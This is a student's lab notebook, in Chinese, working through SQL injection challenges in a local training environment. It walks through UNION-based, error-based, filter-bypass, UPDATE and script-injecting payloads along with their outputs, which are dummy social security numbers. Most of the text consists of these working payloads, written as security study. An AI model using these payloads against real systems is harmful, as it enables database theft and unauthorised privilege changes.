ncist网络空间安全专业护网方向认知实习笔记2021.12 DAY7
滲透測試之SQL注入
- 由于第六天學到的東西主要還是復習HTTP協議以及一些網絡請求方式(主要是GET和POST),沒啥東西,多抓抓包,誰都能學會,我就不在筆記里邊寫了。今天的才是大頭!!!!
- 今天的筆記里邊重點記錄以下今天開的新篇(重點!):SQL注入
寫在前邊,如果在后邊的SQL注入示例中出現了多種注入方法的出現,那么第一個就是老師給的標準案例,后邊的就是我個人根據理解自己寫的,都是可以的
SQL注入
什么是SQL注入?
(啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊阿西吧一堆官方套話,我在這兒就說人話了(bushi))
個人理解:一種聽過想網站內惡意傳入某種參數導致連接數據庫并訪問的時候出現問題,導致出現一些攻擊者出現的東西。比如:
-- 這是正常情況下的SQL語句,其中的$id表示的是需要查詢的信息id -- 正常的id emmmmm 就很正常 SELECT * FROM TABLEname WHERE `id` = '{$id}'; -- 但是如果$id的值為 ' or 1=1;# 呢? -- 來看一下完整的sql語句吧 SELECT * FROM TABLEname WHERE `id` = '' or 1=1;#'; -- 懂我意思了沒,這種操作,叫做永真式簡單注入,后邊還會說一些分類
- 永真式:最后加入 or 1=1 來保證無論如何都能正常獲得數據
- 錯誤語句:估計修改使得Web服務器在調用SQL語句的時候出現報錯,從而判斷數據庫類型或者其他信息
- 結束注釋:在其中混入注釋符注釋掉部分語句
- 聯合查詢:使用 union all ,后邊就可以寫上我們真正需要的語句
- 一般我們可以根據返回數據獲取我們想要的信息。
- 但一些頁面,我們是獲取不到詳細信息。信息只有正確或不正確。
注入測試的一些例子
測試環境:DVWA
- 簡單注入:
MCIR-master環境的搭建
首先解壓縮素材文件到服務器根目錄下(這邊在Win11操作系統下使用phpstudy搭建環境)
打開根目錄,進入目錄 \MCIR-master\sqlol\includes 下
打開下邊的這個文件(記事本或者其他文本編輯器打開就行,我用的sublime)
其中有一段文本默認是這樣的:
F:\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini)
- 截止到現在,MCIR-master靶場環境配置成功
幾道題的寫法
點一下Challenges,會出來14道題
好了接下來就開始一道一道地搞了(說英語不好的,都給我憋著…IT界的人憑實力瞎蒙(bushi))
Challenge 0 - Hello, world!
差不多就這么個意思
- 要求:輸入點可以查詢用戶名是否存在。使用SQL注入遍歷所有用戶
- 語句類型 - SELECT
- 注入類型 - where語句注入
- 訪問類型 - GET
- 過濾 - None
- 輸出–所有用戶,錯誤語句,查詢語句
注入就行
'or 1=1:#然后下邊寫的很清晰嘛,這么一折騰,最后服務器得到的SQL語句是醬紫的:
SELECT username FROM users WHERE username = ''or 1=1;#' GROUP BY username ORDER BY username ASC結果如下:
Array ( [username] => Herp Derper ) Array ( [username] => SlapdeBack LovedeFace ) Array ( [username] => Wengdack Slobdegoob ) Array ( [username] => Chunk MacRunfast ) Array ( [username] => Peter Weiner )可見全部結果都已經回顯了出來。
Challenge 1 - SQL Injection 101
差不多就這么個意思
- 要求:找到社會安全碼表,顯示內容
- 語句類型 - SELECT
- 注入類型 - where語句注入
- 訪問類型- GET
- 過濾 - None
- 輸出 - 所有用戶,錯誤語句,查詢語句
這邊得分以下幾步:
1.查找數據庫
注入
-- type 1 'and 1=2 union select concat_ws(char(32,58,32),user(),database(),version());# -- type 2 'and 1=2 union select concat_ws('-',user(),database(),version());#SQL語句變成了:
-- 1. SELECT username FROM users WHERE username = ''and 1=2 union select concat_ws(char(32,58,32),user(),database(),version());#' GROUP BY username ORDER BY username ASC -- 2. SELECT username FROM users WHERE username = ''and 1=2 union select concat_ws('-',user(),database(),version());#' GROUP BY username ORDER BY username ASC返回結果:
-- 1. Array ( [username] => root@localhost : sqlol : 5.7.26 ) -- 2. Array ( [username] => root@localhost-sqlol-5.7.26 ) - 在這上邊先加上了and 1=2則是直接否定了前邊的sql語句,因為結果必錯(事實證明,如果用 or 1=1 也是可以的,那樣的話sql就應該注入下邊這個,但是回顯會很多:) 'or 1=1 union select concat_ws('-',user(),database(),version());#- 這邊解釋一下幾個MySQL函數
- concat_ws
- 表示的意思是查詢第二個及其后邊的所有內容,并用第一個字符串參數進行分割
- 例如在這里的,就是查找用戶名、數據庫名、MySQL版本號并放在同一格中輸出
- 但是老師使用的是" : ",直接從ASCII表看看32、58、32對應的內容是什么就知道了(空格+冒號+空格)
- 我用的就是直接的字符串"-"
- user() 的返回值是當前正在使用的用戶名
- database() 的返回值是當前已經選定的數據庫(php在連接數據庫的時候都已經制定了一個數據庫,等價于命令行中的:use database_name)
- version() 的返回值是當前mysql的版本號
2.查找數據表
根據上一步已經了解到了所用數據庫的數據庫名為"sqlol"
注入:
' and 1=2 union all select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='sqlol';#SQL語句變成了:
SELECT username FROM users WHERE username = '' and 1=2 union all select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='sqlol';#' GROUP BY username ORDER BY username ASC回顯:
Array ( [username] => ssn ) Array ( [username] => users )- 這邊講幾個東西
- MySQL 中的 information_schema 數據庫 - 太多了,反正是存儲了一大堆和整個數據庫中的數據表有關系的視圖,這里邊提到的TABLES表存儲的則有數據庫及其存儲對應表的關系 - 可以以下博客詳解: - [https://blog.csdn.net/kikajack/article/details/80065753](https://blog.csdn.net/kikajack/article/details/80065753)
- 在初次運行的時候,報了如下的錯誤:(欸等一下,我是不是想到了一種防止sql注入的方法????) - Illegal mix of collations for operation 'UNION' - 初步原因是字符串編碼的問題,我最終的解決方法是將users表中的username字段的編碼方式改成了和information_schema的編碼統一的utf8_general_ci,反正個人理解就是:聯合查詢的情況下,成立的起碼條件就是兩邊數據表的編碼格式需要保持一致 - 可以參見以下博客:(ps:有條件的話用navicat改就行,用不著像這兩篇里那樣) - [https://blog.csdn.net/kikajack/article/details/80065753](https://blog.csdn.net/kikajack/article/details/80065753) - [https://blog.csdn.net/u011250160/article/details/114727359](https://blog.csdn.net/u011250160/article/details/114727359)
3.查找列
根據上邊的查找內容已經可以確定目標數據表的表名為ssn,所以接下來我們需要查找所需要的具體列的列名
注入:
' and 1=2 union all select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn';#SQL語句變成了:
SELECT username FROM users WHERE username = '' and 1=2 union all select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn';#' GROUP BY username ORDER BY username ASC回顯:
Array ( [username] => name ) Array ( [username] => ssn )- information_schema.COLUMNS表中存儲的是列名和數據表之間的對應關系
4.最后一步:查找目標結果
根據上邊的幾步,可以了解到目標數據庫名叫sqlol,數據表名叫ssn,目標列名有name和ssn
根據上邊的這些信息,可以直接注入了
注入:
-- type 1 'and 1=2 union all select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn;# -- type 2 'and 1=2 union all select concat_ws(' - ',`name`,ssn) from sqlol.ssn;#SQL語句變成了:
-- 1. SELECT username FROM users WHERE username = ''and 1=2 union all select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn;#' GROUP BY username ORDER BY username ASC -- 2. SELECT username FROM users WHERE username = ''and 1=2 union all select concat_ws(' - ',`name`,ssn) from sqlol.ssn;#' GROUP BY username ORDER BY username ASC回顯(這結果,不就好起來了嗎?):
-- 1. Array ( [username] => Herp Derper : 012-34-5678 ) Array ( [username] => SlapdeBack LovedeFace : 999-99-9999 ) Array ( [username] => Wengdack Slobdegoob : 000-00-1112 ) Array ( [username] => Chunk MacRunfast : 666-67-6776 ) Array ( [username] => Peter Weiner : 111-22-3333 ) -- 2. Array ( [username] => Herp Derper - 012-34-5678 ) Array ( [username] => SlapdeBack LovedeFace - 999-99-9999 ) Array ( [username] => Wengdack Slobdegoob - 000-00-1112 ) Array ( [username] => Chunk MacRunfast - 666-67-6776 ) Array ( [username] => Peter Weiner - 111-22-3333 )Challenge 2 - The Failure of Quote Filters
- 要求:找到社會安全碼表,顯示內容
- 語句類型 - SELECT
- 注入類型 - where語句注入
- 訪問類型:GET
- 過濾 - 單引號過濾
- 輸出 - 所有結果,錯誤語句,查詢語句
這邊就不給翻譯了哈,這邊的內容和上一道題重復度很高,唯一的區別就在于原有sql語句的不同。上一道題的sql語句中間有單引號但是這里沒有,所以重復上一道題的步驟但是把注入的語句中的最開頭的單引號刪掉就可以了。沒啥需要注意的【啊我呸】。
仔細看了一遍,更改一下上邊的說法,這里邊設計了單引號過濾——Single quotes removed(上邊寫的清清楚楚的),所以concat_ws調用的第一個參數必須用char拼接字符串的形式而不能直接用懂我意思了么!!
Challenge 3 - Death Row
差不多就這么個意思
- 要求:找到社會安全碼表,顯示內容
- 語句類型 - SELECT
- 注入類型 - where語句注入
- 訪問類型:POST
- 過濾 - None
- 輸出 - 一次一行,錯誤語句,無查詢語句
分為以下幾步:
1.查找數據庫(從這兒開始我也懶得分我的和老師的來了,經過上一次的錯誤,這里的都統一了,我都開始按照老師的寫了)
注入:
'and 1=2 union select concat_ws(char(32,58,32),user(),database(),version());#SQL語句變成了:
SELECT username FROM users WHERE username = ''and 1=2 union select concat_ws(char(32,58,32),user(),database(),version());#' GROUP BY username ORDER BY username ASC返回結果:
Array ( [username] => root@localhost : sqlol : 5.7.26 )2.查找數據表
從上一步了解到數據庫名字叫做sqlol
所以現在找數據表
注入:
' and 1=2 union all select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='sqlol';#SQL語句變成了:
SELECT username FROM users WHERE username = '' and 1=2 union all select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='sqlol';#' GROUP BY username ORDER BY username ASC回顯(這玩意兒要是找不到對的就在上邊增加篩選條件然后重新刷):
Array ( [username] => ssn )3.查找列
從上邊了解到目標數據表表名為ssn,繼續
注入
' and 1=2 union all select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn';#SQL語句變成了:
SELECT username FROM users WHERE username = '' and 1=2 union all select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn';#' GROUP BY username ORDER BY username ASC回顯:
Array ( [username] => name )emmmmm,這玩意兒他夠嗎?不夠,再來!!!
注入
' and 1=2 union all select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn' limit 1,3;#SQL語句變成了:
SELECT username FROM users WHERE username = '' and 1=2 union all select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn' limit 1,3;#' GROUP BY username ORDER BY username ASC回顯:
Array ( [username] => ssn )emmmmm這樣就差不多了,接著看看有沒有別的列(雖然已經知道了(bushi))
注入
' and 1=2 union all select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn' limit 2;#SQL語句變成了:
SELECT username FROM users WHERE username = '' and 1=2 union all select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn' limit 2,4;#' GROUP BY username ORDER BY username ASC回顯:
好了,回顯為空就說明只有兩個列了,一個叫name,一個叫ssn
4.最后一步:查找目標結果
注入:
'and 1=2 union all select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 0,1;#在這兒我就不多說了,一步一步都出來,直接放注入用的東西了。算上上邊的一共有:
'and 1=2 union all select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 0,10;# 'and 1=2 union all select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 1,10;# 'and 1=2 union all select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 2,10;# 'and 1=2 union all select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 3,10;# 'and 1=2 union all select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 4,10;# 'and 1=2 union all select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 5,10;# -- 到最后這一行回顯就為空了,就到頭了 -- 這個是老師用的,我還略有迷惑emmmm 'and 1=2 union all select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 1 offset 1;#Challenge 4 - War on Error
差不多就這么個意思
- 要求:找到社會安全碼表,顯示內容。查詢結果不能顯示,需要構造語句到錯誤顯示處。
- 語句類型 - SELECT
- 注入類型 - where語句注入
- 訪問類型:POST
- 過濾 - None
- 輸出 - 沒有返回結果,錯誤語句,無查詢語句
看到這個”沒有返回結果“的時候虎軀一震,但后來仔細想想大部分的sql實戰注入不都是不報錯也都沒有回顯的嗎?那就來試試√
參考著老師給的步驟先研究研究(還是經典四個步驟)
1.查找數據庫
注入:
'and (extractvalue(1,concat(0x7e,(select concat_ws(char(32,58,32),user(),database()))))) and '1'='1SQL語句變成了:
SELECT username FROM users WHERE username = ''and (extractvalue(1,concat(0x7e,(select concat_ws(char(32,58,32),user(),database()))))) and '1'='1' GROUP BY username ORDER BY username ASC返回服務器報錯
XPATH syntax error: '~root@localhost : sqlol'- 嘶~~~~在這兒碎碎念下::::妙蛙:::::妙蛙::::::
- 嘶~~~~我去查一下這幾個函數干毛用的【doge】
- 咳咳,敲黑板劃重點[doge]
- 在之前提到過的concat_ws方法在這里就不再講解了,如果還想看的話,就看一下Challenge 1 里邊的第一步——查找數據庫,我在那里進行了一定的解釋
- concat函數
- 將查到的字符串直接拼接,相當于concat_wx("",字符1,字符2…)
- 在這邊輔助了下邊的錯誤報錯
- extractvalue函數
- 妙蛙~~~~~~~~~~~
- 怎么講呢,雖然但是,查到的東西一大半都是講的這玩意兒的報錯注入的用法,離譜的一批,就感覺這玩意兒就像是為了SQL注入而生的嗎[笑哭]
- 下邊這一段是一段非常正經的extractvalue函數的使用方法。
- 大概先知道這些吧,然后這里邊有一個方法專門用于報錯注入使用。如下:
- 以上內容鏈接來源:https://blog.csdn.net/weixin_46706771/article/details/112768348
- 劃重點!!!
- 用concat在代碼操作的前后分別添加了添加了0x7e然后導致的xml讀取相對路徑錯誤,從而導致報錯,但是又能輸出一部分結果
- 我特么直呼好家伙。
- 下邊的按照之前的思路往上套也就都能套出來了
2.查找數據表
從上一步了解到數據庫名字叫做sqlol
所以現在找數據表
注入:
'and (extractvalue(1,concat(0x7e,( select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='sqlol')))) and '1'='1SQL語句變成了:
SELECT username FROM users WHERE username = ''and (extractvalue(1,concat(0x7e,( select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='sqlol')))) and '1'='1' GROUP BY username ORDER BY username ASC;服務器報錯回顯:
Subquery returns more than 1 rowemmmmmm好像并沒有什么卵用
這時候就應該參考上一道題所提到的“單行回顯”了。加上limit就好。
重來!!!!!!!!!!
注入:
'and (extractvalue(1,concat(0x7e,( select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='sqlol' limit 0,1)))) and '1'='1服務器報錯回顯:
XPATH syntax error: '~ssn'注入:
'and (extractvalue(1,concat(0x7e,( select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='sqlol' limit 1,1)))) and '1'='1服務器報錯回顯:
XPATH syntax error: '~users'注入:
'and (extractvalue(1,concat(0x7e,( select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='sqlol' limit 2,2)))) and '1'='1服務器報錯回顯:
Ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
這一段自己分析自己品,然后自己寫出來,那感覺太爽了
3.查找列
廢話不多說,跟上邊的差不多,直接開干!!
注入:
'and (extractvalue(1,concat(0x7e,( select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn' limit 0,1)))) and '1'='1服務器報錯回顯:
XPATH syntax error: '~name'注入:
'and (extractvalue(1,concat(0x7e,( select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn' limit 1,1)))) and '1'='1服務器報錯回顯:
XPATH syntax error: '~ssn'注入:
'and (extractvalue(1,concat(0x7e,( select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn' limit 2,2)))) and '1'='1服務器報錯回顯:
4.最后一步:查找目標結果(沖他丫的勝利就在眼前!!!!!!!)
注入:
'and (extractvalue(1,concat(0x7e,(select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 0,1)))) and '1'='1服務器報錯回顯:
XPATH syntax error: '~Herp Derper : 012-34-5678'以此類推
'and (extractvalue(1,concat(0x7e,(select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 0,1)))) and '1'='1 'and (extractvalue(1,concat(0x7e,(select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 1,1)))) and '1'='1 'and (extractvalue(1,concat(0x7e,(select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 2,2)))) and '1'='1 'and (extractvalue(1,concat(0x7e,(select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 3,3)))) and '1'='1 'and (extractvalue(1,concat(0x7e,(select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 4,4)))) and '1'='1 'and (extractvalue(1,concat(0x7e,(select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 5,5)))) and '1'='1然后這不就好起來了嗎?問題解決
Challenge 5 - Blind Luck
差不多就這么個意思
- 要求:找到社會安全碼表,顯示內容。盲注。
- 語句類型 - SELECT
- 注入類型 - where語句注入
- 訪問類型:POST
- 過濾 - None
- 輸出 - 返回語句只有真假,沒有錯誤語句,無查詢語句
Challenge 6 - Stack the Deck
差不多就這么個意思
- 要求:找到社會安全碼表,顯示內容。
- 語句類型 - SELECT
- 注入類型 - where語句注入
- 訪問類型:POST
- 過濾 - None
- 輸出 - 有返回結果,有錯誤語句,無查詢語句
老套路,錯誤注入就行
注入:
'or updatexml(0,concat(0x01,(select concat_ws(char(32,58,32),`name`,'',ssn) from sqlol.ssn limit 0,1)),0)#SQL語句變成了:
SELECT username FROM users WHERE username = ''or updatexml(0,concat(0x01,(select concat_ws(char(32,58,32),`name`,'',ssn) from sqlol.ssn limit 0,1)),0)#' GROUP BY username ORDER BY username ASC服務器錯誤回顯:
XPATH syntax error: 'Herp Derper : : 012-34-5678'- 這邊用到的updatexml函數,就講一下吧(老師在PPT里給出的一種方法,不失為一種可行的錯誤注入的方法)
Challenge 7 - Walking on Thin Ice
差不多就這么個意思
- 要求:找到社會安全碼表,顯示內容。DELETE注入(不小心刪除的話就按網頁上的RESET還原)
- 語句類型 - DELETE
- 注入類型 - where語句注入
- 訪問類型:POST
- 過濾 - None
- 輸出 - 沒有返回結果,有錯誤語句,無查詢語句
有一說一,老套路了,用我們的老朋友:報錯查詢
注入:
'or updatexml(0,concat(0x01,(select concat_ws(char(32,58,32),`name`,'',ssn) from sqlol.ssn limit 0,1)),0)#SQL語句變成了:
DELETE FROM users WHERE username = ''or updatexml(0,concat(0x01,(select concat_ws(char(32,58,32),`name`,'',ssn) from sqlol.ssn limit 0,1)),0)#'服務器報錯回顯:
XPATH syntax error: 'Herp Derper : : 012-34-5678'報錯注入yyds!!!
Challenge 8 - Black Comedy
差不多就這么個意思
- 要求:找到社會安全碼表,顯示內容。
- 語句類型 - SELECT
- 注入類型 - where語句注入
- 訪問類型:POST
- 過濾 - union,select,where,and,–,#
- 輸出 - 返回結果, 錯誤語句,查詢語句
既然這里過濾了union和select等,那我們就玩一波大小寫混淆√
注入:
'aNd 1=2 uNiOn all SeLEct concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn;#然后就…翻車了
差點忘了 # 這樣的注釋符也被注釋掉了
那么就這樣
注入:
'uNiOn SeLEct concat(`name`,char(32,58,32),ssn) from sqlol.ssn uNion seLeCt null from users whEre username='SQL語句變成了:
SELECT username FROM users WHERE username = ''uNiOn SeLEct concat(`name`,char(32,58,32),ssn) from sqlol.ssn uNion seLeCt null from users whEre username='' GROUP BY username ORDER BY username ASC成功得到回顯:
Array ( [username] => Chunk MacRunfast : 666-67-6776 ) Array ( [username] => Herp Derper : 012-34-5678 ) Array ( [username] => Peter Weiner : 111-22-3333 ) Array ( [username] => SlapdeBack LovedeFace : 999-99-9999 ) Array ( [username] => Wengdack Slobdegoob : 000-00-1112 )- 這邊給到的是一些關鍵字符被過濾情況下的方法:大小寫混淆
Challenge 9 - Administrative Tasks
差不多就這么個意思
- 要求:插入到查詢中,使其將id為3的用戶的“isadmin”字段更新為1。
- 語句類型 - UPDATE
- 注入類型 - 需要寫入的值
- 訪問類型:POST
- 過濾 - None
- 輸出 - 通用錯誤信息,查詢顯示
注入:
-- 這個是老師給的,注入之后會使得整個username都被改掉,我認為因該添加一個聯合查詢 admin',isadmin=1 where id=3;# -- 這是我改進的emmmmm算了還是用老師的吧 slect username from users where id=3',isadmin=1 where id=3;#插入之后的SQL語句:
UPDATE users SET username = 'admin',isadmin=1 where id=3;#' WHERE isadmin = 0 UPDATE users SET username = 'slect username from users where id=3',isadmin=1 where id=3;#' WHERE isadmin = 0無回顯,下邊的上圖是插入前的數據表,下圖使用上邊的方法插入后的數據表
Challenge 10 - No WHERE
差不多就這么個意思
- 要求::從數據庫中獲得社會安全號碼。
- 語句類型 - SELECT
- 注入類型 - 列名
- 訪問類型:GET
- 過濾 - None
- 輸出 - 無錯誤信息,查詢顯示
在這邊我就一步一步具體展示了哈
1.查找數據庫
注入:
concat_ws(' - ',user(),database())SQL語句變成了:
SELECT concat_ws(' - ',user(),database()) FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC服務器回顯:
Array ( [concat_ws(' - ',user(),database())] => root@localhost - sqlol ) Array ( [concat_ws(' - ',user(),database())] => root@localhost - sqlol ) Array ( [concat_ws(' - ',user(),database())] => root@localhost - sqlol )好了,了解到了數據庫名叫sqlol
2.查找數據表
注入:
TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='sqlol'#SQL語句變成了:
SELECT TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='sqlol'# FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC順利得到回顯:
Array ( [TABLE_NAME] => ssn ) Array ( [TABLE_NAME] => users )ssn這個目標數據表不就拿到了嗎?
3.查找列
注入
COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn'#SQL語句變成了:
SELECT COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn'# FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC順利得到回顯:
Array ( [COLUMN_NAME] => name ) Array ( [COLUMN_NAME] => ssn )列名:name和ssn
4.查找目標數據
注入
concat(name,' :: ',ssn) from ssn#SQL語句變成了:
SELECT concat(name,' :: ',ssn) from ssn# FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC順利得到回顯:
Array ( [concat(name,' :: ',ssn)] => Herp Derper :: 012-34-5678 ) Array ( [concat(name,' :: ',ssn)] => SlapdeBack LovedeFace :: 999-99-9999 ) Array ( [concat(name,' :: ',ssn)] => Wengdack Slobdegoob :: 000-00-1112 ) Array ( [concat(name,' :: ',ssn)] => Chunk MacRunfast :: 666-67-6776 ) Array ( [concat(name,' :: ',ssn)] => Peter Weiner :: 111-22-3333 )好起來了(good!)
Challenge 11 - No WHERE 2
差不多就這么個意思
- 要求::從數據庫中獲得社會安全號碼。
- 語句類型 - SELECT
- 注入類型 - 列名(向 ORDER BY 字句中插入)
- 訪問類型:GET
- 過濾 - None
- 輸出 - 無錯誤信息,查詢顯示
注入:
if(1=2,1,sleep(5))#有延遲,證明這里可以注入
重新編輯再注入:
1 and updatexml(0,concat(0x01,(select concat_ws(char(32,58,32),`name`,'',ssn) from sqlol.ssn limit 0,1)),0)# -- if(1=2,1,select concat(`name`,' :: ',ssn) from sqlol.ssn)# -- 折騰了半天還得是報錯注入呀Navicat一試就成功了,放在靶場里才想起來無報錯顯示…
wnm…再來!!!
- 先卡著…等會兒再看
Challenge 12 - XSSQLi
差不多就這么個意思
- 數據庫的內容通常被認為是可信的。一些大規模攻擊者利用這一事實,并發起大規模SQL注入攻擊,不僅竊取數據庫的內容但也<script>標記指向惡意Javascript在數據庫的所有行希望他們將提交給用戶的網站。
- 您的目標是使用SQL注入缺陷來執行反映的跨站點腳本攻擊。
- 要求::從數據庫中獲得社會安全號碼。
- 語句類型 - SELECT
- 注入類型 - WHERE字句中的字符串值
- 訪問類型:POST
- 過濾 - None
- 輸出 - 一行結果、詳細錯誤消息、查詢結果不顯示
注入:
' union select '<script>alert(\'you are hacked by me\')</script>';#SQL語句變成了:
SELECT username FROM users WHERE username = '' union select '<script>alert(\'you are hacked by me\')</script>';#' GROUP BY username ORDER BY username ASC這時候注入之后就會發現,沒有出現回顯,但是在網頁的前端出現了一段js源碼,在這里我們只是讓網頁彈出了一段警告框,但是如果我們插入的東西再多一點,是不是就可以獲取更多的東西了?
這段好像XSS注入呀…
Challenge 13 - LIKE OMG
差不多就這么個意思
- LIKE關鍵字的操作類似于SQL數據庫中的相等操作符“=”。不同之處在于允許通配符。在這個挑戰中,開發人員使用了“LIKE”關鍵字而不是相等操作符。
- 您的目標是從數據庫中檢索所有用戶名。
- 要求::從數據庫中獲得社會安全號碼。
- 語句類型 - SELECT
- 注入類型 - WHERE字句中的字符串值
- 訪問類型:POST
- 過濾 - 單引號過濾
- 輸出 - 布爾值、查詢結果不顯示、無報錯信息
需要使用python編程和sqlmap工具,在準備好之后再回來更~~~
Challenge 13 - Now you have two problems
差不多就這么個意思
- 通常情況下,如果你有一個問題,你試著用正則表達式來解決,你現在有兩個問題。在這個挑戰中,您必須避開以正則表達式實現的白名單過濾器。
- 您的目標是從數據庫中檢索社會安全數字。
- 語句類型 - SELECT
- 注入類型 - WHERE字句中的字符串值
- 訪問類型:POST
- 過濾 - 白名單、正則表達式
– 開發中…
題目小結
一些特殊注入的記憶點總結
關于報錯注入,這里用到了兩個方法,demo如下:
'and (extractvalue(1,concat(0x7e,(select concat_ws(char(32,58,32),user(),database()))))) and '1'='1 ; 1 and updatexml(0,concat(0x01,(select concat_ws(char(32,58,32),`name`,'',ssn) from sqlol.ssn limit 0,1)),0)#單引號過濾的機制,但是無傷大雅,直接放上0或1,后邊的照常就能出結果了
3. 相較于第一題,第三題調整成了每次只能輸出一行的機制,這種情情況下,使用LIMIT方法每一行逐步輸出就可以慢慢得到結果了,如果數據量過大手動注入很慢的話,可以考慮編寫腳本的方式來實現這些事情。
4. 第四題則是開了個新坑,整體注入的思路不變,但是錯誤注入得到所需信息的基本思路是不變的。只需要用一些函數來實現錯誤回顯。我會在后邊的模塊中進行匯總。
5. 第五題是一個新的思路——盲注,說人話就是對著ASCII表挨個字符硬試,這邊建議編寫腳本程序或者實用工具解決此類問題。
6. 第六題,不太明白有什么突出的特點。
7. 第七題是DELETE注入,這很危險,錯誤注入就行
8. 第八題添加了字符串過濾,有字符串過濾的情況下可以使用大小寫混淆的方式試圖繞過過濾
9. 第九題是UPDATE注入,它使得不應該被修改的數據跟著被篡改了。
10. 第十題直接查找的條件就是列名…這玩意兒最簡單的了。
11. 第十一題是ORDER BY而且無錯誤回顯emmmmmmmmmm 施工ing
12. 第十二題直接使用select方法查找了一些帶有<script>標簽的字符串,從而導致了類似xss注入的腳本攻擊。
13. LIKE模糊注入,等我找到工具之后再來
14. 準備ing
一些特殊注入的記憶點總結
關于報錯注入,這里用到了兩個方法,demo如下:
'and (extractvalue(1,concat(0x7e,(select concat_ws(char(32,58,32),user(),database()))))) and '1'='1 ; 1 and updatexml(0,concat(0x01,(select concat_ws(char(32,58,32),`name`,'',ssn) from sqlol.ssn limit 0,1)),0)#總結
以上是生活随笔為你收集整理的ncist网络空间安全专业护网方向认知实习笔记2021.12 DAY7的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 机器视觉光源案例锦集(一)
- 下一篇: android培训技能,Android培